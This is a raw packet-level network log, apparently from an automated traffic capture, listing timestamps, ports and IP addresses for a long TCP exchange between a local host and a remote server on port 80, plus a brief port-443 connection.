Nov 20, 2024 18:57:50.282695055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.282740116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.282849073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.282922983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.283526897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.283596992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.283710957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.283754110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.284339905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.284372091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.284403086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.284423113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.285187006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.285235882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.285315037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.285368919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.285979033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.286030054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.286145926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.286176920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.286957026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.287017107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.287056923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.287192106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.287591934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.287652016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.287668943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.287720919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.288415909 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.288467884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.288552999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.288645029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.289263010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.289274931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.289315939 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.290029049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.290083885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.290123940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.290165901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.290857077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.290908098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.290957928 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.290997028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.292301893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.292359114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.292386055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.292418957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.292546034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.292552948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.292583942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.293279886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.293373108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.293389082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.293422937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.294110060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.294167995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.294208050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.294270039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.295100927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.295183897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.295186043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.295262098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.295877934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.295885086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.295927048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.296534061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.296588898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.296646118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.296705961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.297326088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.297369957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.297418118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.297504902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.298230886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.298239946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.298295975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.298989058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.299072981 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.299084902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.299112082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.299796104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.299808979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.299846888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.300678015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.300687075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.300736904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.301393032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.301443100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.301547050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.301630974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.302278996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.302328110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.302336931 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.302365065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.303174973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.303184032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.303241014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.303849936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.303886890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.303903103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.303930044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.304639101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.304750919 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.304794073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.304824114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.305490971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.305557013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.305874109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.305985928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.306288004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.306319952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.306343079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.306360960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.307075024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.307137012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.307197094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.307252884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.307878017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.307981014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.307996988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.308044910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.308715105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.308789015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.308813095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.309051991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.309508085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.309565067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.309628010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.309701920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.310381889 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.310451031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.310509920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.311145067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.311203003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.311203003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.311261892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.311950922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.312017918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.312108040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.312227011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.312779903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.312835932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.312869072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.312886000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.313602924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.313659906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.313718081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.313857079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.314481974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.314490080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.314539909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.315208912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.315392017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.315435886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.315465927 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.316046000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.316139936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.316168070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.316231966 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.316940069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.316989899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.317003012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.317029953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.317687988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.317696095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.317756891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.318463087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.318523884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.318614006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.318655968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.319299936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.319364071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.319376945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.319413900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.320223093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.320301056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.320333004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.320395947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.320898056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.320947886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.320991993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.321197033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.321695089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.322046995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.489254951 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:50.489275932 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:50.489532948 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:50.489561081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.489615917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.489665031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.489754915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.490010023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.490016937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.490071058 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.490814924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.490823030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.490875006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.491868973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.491934061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.491986036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.492036104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.492234945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.492311954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.492317915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.492369890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.493325949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.493369102 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.493439913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.493568897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.494541883 CET	49891	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:50.494554043 CET	443	49891	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:50.494704962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.494757891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.494952917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.494990110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.494997025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.495013952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.495037079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.495472908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.495518923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.495573044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.495696068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.496303082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.496406078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.496423006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.496448994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.497117996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.497181892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.497212887 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.497255087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.500940084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.501018047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.501099110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.501106024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.501118898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.501126051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.501135111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.501157999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.501204967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.501395941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.501549959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.501600027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.501871109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.501878977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.501919031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.503392935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.503480911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.503530979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.503586054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.504112959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.504194975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.504260063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.504321098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.504890919 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.504898071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.504946947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.505521059 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.505676985 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.505696058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.505743980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.506431103 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.506478071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.506570101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.506620884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.507184982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.507275105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.507536888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.507631063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.508156061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.508217096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.508322001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.508390903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.508955002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.508963108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.509011984 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.509677887 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.509768963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.510252953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.510355949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.510548115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.510652065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.510723114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.510940075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.511411905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.511419058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.511466980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.512073040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.512156963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.512237072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.512280941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.512887955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.512957096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.513176918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.513235092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.513670921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.513817072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.513839960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.513854980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.514616013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.514625072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.514677048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.515081882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.515144110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.515417099 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.515472889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.516083002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.516133070 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.516237974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.516357899 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.516988993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.516995907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.517040968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.517858982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.517976046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.518018961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.518084049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.518610001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.518691063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.518771887 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.518856049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.519747972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.519835949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.519887924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.519931078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.520566940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.520615101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.520723104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.520766973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.521358967 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.521471977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.521502018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.521553040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.522206068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.522212982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.522284985 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.522939920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.523006916 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.523133993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.523200035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.523556948 CET	80	49794	185.215.113.206	192.168.2.6
